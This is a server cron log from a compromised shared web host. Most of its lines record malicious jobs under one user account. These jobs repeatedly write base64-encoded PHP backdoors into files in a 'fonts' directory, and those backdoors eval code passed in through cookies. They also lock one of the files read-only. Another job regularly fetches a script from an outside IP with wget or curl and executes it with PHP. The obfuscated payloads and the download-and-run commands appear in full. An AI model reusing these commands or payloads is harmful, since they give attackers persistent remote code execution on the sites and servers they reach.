Sep 12 15:47:02 ip-184-168-122-23 CROND[19283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:48:01 ip-184-168-122-23 CROND[19375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:48:01 ip-184-168-122-23 CROND[19379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:48:01 ip-184-168-122-23 CROND[19378]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:48:01 ip-184-168-122-23 CROND[19380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:48:01 ip-184-168-122-23 CROND[19377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:49:02 ip-184-168-122-23 CROND[19544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:49:02 ip-184-168-122-23 CROND[19547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:49:02 ip-184-168-122-23 CROND[19546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:49:02 ip-184-168-122-23 CROND[19548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:50:01 ip-184-168-122-23 CROND[19639]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:50:01 ip-184-168-122-23 CROND[19640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:50:01 ip-184-168-122-23 CROND[19642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:50:01 ip-184-168-122-23 CROND[19645]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:50:01 ip-184-168-122-23 CROND[19646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:50:01 ip-184-168-122-23 CROND[19650]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 15:50:01 ip-184-168-122-23 CROND[19653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:50:01 ip-184-168-122-23 CROND[19654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:50:01 ip-184-168-122-23 CROND[19652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:51:01 ip-184-168-122-23 CROND[19757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:51:01 ip-184-168-122-23 CROND[19761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:51:01 ip-184-168-122-23 CROND[19760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:51:01 ip-184-168-122-23 CROND[19759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:52:01 ip-184-168-122-23 CROND[19843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:52:01 ip-184-168-122-23 CROND[19844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:52:01 ip-184-168-122-23 CROND[19845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:52:01 ip-184-168-122-23 CROND[19848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:52:01 ip-184-168-122-23 CROND[19847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:53:01 ip-184-168-122-23 CROND[19940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:53:01 ip-184-168-122-23 CROND[19939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:53:01 ip-184-168-122-23 CROND[19942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:53:01 ip-184-168-122-23 CROND[19941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:54:01 ip-184-168-122-23 CROND[20106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:54:01 ip-184-168-122-23 CROND[20104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:54:01 ip-184-168-122-23 CROND[20105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:54:01 ip-184-168-122-23 CROND[20107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:54:01 ip-184-168-122-23 CROND[20108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:55:01 ip-184-168-122-23 CROND[20199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:55:01 ip-184-168-122-23 CROND[20200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:55:01 ip-184-168-122-23 CROND[20204]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:55:01 ip-184-168-122-23 CROND[20205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:55:01 ip-184-168-122-23 CROND[20206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:55:01 ip-184-168-122-23 CROND[20203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:56:01 ip-184-168-122-23 CROND[20296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:56:01 ip-184-168-122-23 CROND[20300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:56:01 ip-184-168-122-23 CROND[20298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:56:01 ip-184-168-122-23 CROND[20299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:56:01 ip-184-168-122-23 CROND[20301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:57:01 ip-184-168-122-23 CROND[20404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:57:01 ip-184-168-122-23 CROND[20406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:57:01 ip-184-168-122-23 CROND[20408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:57:01 ip-184-168-122-23 CROND[20407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:58:01 ip-184-168-122-23 CROND[20524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:58:01 ip-184-168-122-23 CROND[20526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:58:01 ip-184-168-122-23 CROND[20527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 15:58:01 ip-184-168-122-23 CROND[20528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 15:58:01 ip-184-168-122-23 CROND[20529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:59:01 ip-184-168-122-23 CROND[20709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 15:59:01 ip-184-168-122-23 CROND[20711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:59:01 ip-184-168-122-23 CROND[20710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:59:01 ip-184-168-122-23 CROND[20712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
